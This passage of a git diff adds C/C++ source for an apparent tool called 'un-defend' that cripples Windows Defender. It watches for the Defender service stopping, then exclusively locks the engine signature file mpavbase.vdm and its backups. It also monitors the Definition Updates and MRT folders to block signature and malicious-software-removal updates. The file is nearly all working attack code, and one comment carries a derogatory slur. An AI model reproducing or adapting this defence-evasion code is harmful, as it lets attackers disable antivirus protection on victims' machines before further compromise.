wcscpy(_fpath, L"\\??\\"); + wcscat(_fpath, fpath); + RtlInitUnicodeString(&target, _fpath); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + do { + stat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL); + if (stat == STATUS_NOT_FOUND || stat == STATUS_OBJECT_NAME_NOT_FOUND || stat == STATUS_OBJECT_PATH_NOT_FOUND) + return stat; + } while (stat); + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock, &li); + LARGE_INTEGER offset = { 0,0 }; + + if (!LockFile(hlock, offset.LowPart, offset.HighPart, li.LowPart, li.HighPart)) + { + printf("LockFile failed, error : %d\n", GetLastError()); + } + printf("File \"%ws\" was locked.\n", fpath); + + AddHandle(hlock); + } + + return ERROR_SUCCESS; +} + + +VOID WDKillerCallback(IN PVOID pParameter) +{ + + printf("Windows defender stopped...\n"); + PSERVICE_NOTIFY psny = (PSERVICE_NOTIFY)pParameter; + SC_HANDLE hsvc = (SC_HANDLE)psny->pContext; + DWORD requiredbytes = 0; + QueryServiceConfig(hsvc, NULL, NULL, &requiredbytes); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + LPQUERY_SERVICE_CONFIG svccfg = (LPQUERY_SERVICE_CONFIG)malloc(requiredbytes); + if (!QueryServiceConfig(hsvc, svccfg, requiredbytes, &requiredbytes)) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + svccfg->lpBinaryPathName[wcslen(svccfg->lpBinaryPathName) - 1] = NULL; + wchar_t* binpath = &svccfg->lpBinaryPathName[1]; + /* + wchar_t dllpath[MAX_PATH] = { 0 }; + memmove(dllpath, binpath, wcslen(binpath) * sizeof(wchar_t) - (11 * sizeof(wchar_t))); + wcscat(dllpath, L"MpSvc.dll"); + printf("%ws\n", dllpath); + */ + + + HKEY wdkey = NULL; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return; + } + wchar_t sigpath[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(sigpath); + //TODO : Check if this returns a properly null terminated string + DWORD retcode = RegQueryValueEx(wdkey, L"SignatureLocation", NULL, NULL, (LPBYTE)sigpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender signature path.\n"); + return; + } + + wcscat(sigpath, L"\\mpavbase.vdm"); + wchar_t _sigpath[MAX_PATH] = { 0 }; + wcscpy(_sigpath, L"\\??\\"); + wcscat(_sigpath, sigpath); + UNICODE_STRING unistr = { 0 }; + RtlInitUnicodeString(&unistr, _sigpath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + // if you are reading this, you are autistic. + HANDLE hlock = NULL; + NTSTATUS ntstat = STATUS_SUCCESS; + ntstat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + if (ntstat) + { + printf("Failed to open engine file \"%ws\", error : 0x%0.8X\n", unistr.Buffer, ntstat); + return; + } + LARGE_INTEGER li = { 0 }; + LARGE_INTEGER li2 = { 0 }; + GetFileSizeEx(hlock, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + + printf("File locked.\n"); + free(svccfg); + AddHandle(hlock); + return; +} + + +DWORD WINAPI WDKillerThread(void*) +{ + SC_HANDLE hsvc = NULL; + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + { + printf("Failed to open service manager, error : %d\n", GetLastError()); + return 1; + } + hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + CloseServiceHandle(scmgr); + if (!hsvc) + { + printf("Failed to open WinDefend service, error : %d\n", GetLastError()); + return 1; + } + + SERVICE_STATUS svcstat = { 0 }; + if (!QueryServiceStatus(hsvc, &svcstat) || svcstat.dwCurrentState != SERVICE_RUNNING) + { + printf("Windows Defender isn't running, exiting..."); + CloseHandle(hsvc); + ExitProcess(ERROR_SUCCESS); + } + while (1) { + SERVICE_NOTIFY_2W svcnotify = { 0 }; + svcnotify.dwVersion = SERVICE_NOTIFY_STATUS_CHANGE; + svcnotify.pfnNotifyCallback = WDKillerCallback; + svcnotify.pContext = hsvc; + if (NotifyServiceStatusChangeW(hsvc, + SERVICE_NOTIFY_STOPPED, &svcnotify)) + { + printf("Failed to set a notification for windows defender status.\n"); + CloseHandle(hsvc); + return 1; + } + printf("Registered callback for Windows Defender status change.\n"); + SleepEx(INFINITE, TRUE); + } + CloseHandle(hsvc); + return 0; + +} + +DWORD WINAPI MRTWorkerThread(void*) { + + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[] = { L"\\??\\C:\\Windows\\System32\\MRT"}; + UNICODE_STRING target = { 0 }; + RtlInitUnicodeString(&target, _wdupdatedir); + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hmonitordir = NULL; + DWORD retbytes = 0; + + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + do { + Sleep(10); + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + + } while (stat == STATUS_OBJECT_NAME_NOT_FOUND); + if (stat || !hmonitordir) + { + printf("Failed to open MRT directory, error : 0x%0.8X\n",stat); + return 1; + } + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = &_wdupdatedir[4]; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + } while (1); + return ERROR_SUCCESS; +} + +int wmain() +{ + DWORD tid2 = 0; + + + wchar_t updatedir[MAX_PATH] = { 0 }; + HKEY wdkey = NULL; + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t wdupdatedir[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(wdpath); + DWORD retbytes = 0; + DWORD retcode = 0; + HANDLE hmonitordir = NULL; + NTSTATUS stat = STATUS_SUCCESS; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + gHandleTrackerLock = new CRITICAL_SECTION; + InitializeCriticalSection(gHandleTrackerLock); + + + HANDLE wdkiller = NULL; + + + + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return 1; + } + + //TODO : Check if this returns a properly null terminated string + retcode = RegQueryValueEx(wdkey, L"ProductAppDataPath", NULL, NULL, (LPBYTE)wdpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender installation path.\n"); + return 1; + } + + wcscpy(wdupdatedir, wdpath); + wcscat(wdupdatedir, L"\\Definition Updates"); + + wcscpy(_wdupdatedir, L"\\??\\"); + wcscat(_wdupdatedir, wdupdatedir); + + wcscpy(gbackupfile1, _wdupdatedir); + wcscpy(gbackupfile2, _wdupdatedir); + wcscat(gbackupfile1, L"\\Backup\\mpavbase.lkg"); + wcscat(gbackupfile2, L"\\Backup\\mpavbase.vdm"); + + TryLockBackup(); + + wdkiller = CreateThread(NULL, NULL, WDKillerThread, NULL, NULL, &tid2); + + // run in killer mode + // WaitForSingleObject(wdkiller,INFINITE); + // + + HANDLE mrtkiller = CreateThread(NULL, NULL, MRTWorkerThread, NULL, NULL, &tid2); + if (!wdkiller) + { + printf("Failed to create defender killer thread.\n"); + } + if (!mrtkiller) + { + printf("Failed to create MRT killer thread.\n"); + } + + RtlInitUnicodeString(&target, _wdupdatedir); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + if (stat || !hmonitordir) + { + printf("Failed to open windows defender update directory.\n"); + return 1; + } + + + + //WaitForSingleObject(gevent, INFINITE); + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = wdupdatedir; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + + } while (1); + + + CloseHandle(hmonitordir); + + + return 0; +} \ No newline at end of file diff --git a/un-defend/UpdateError.png b/un-defend/UpdateError.png new file mode 100644 index 0000000..d1a4814 Binary files /dev/null and b/un-defend/UpdateError.png differ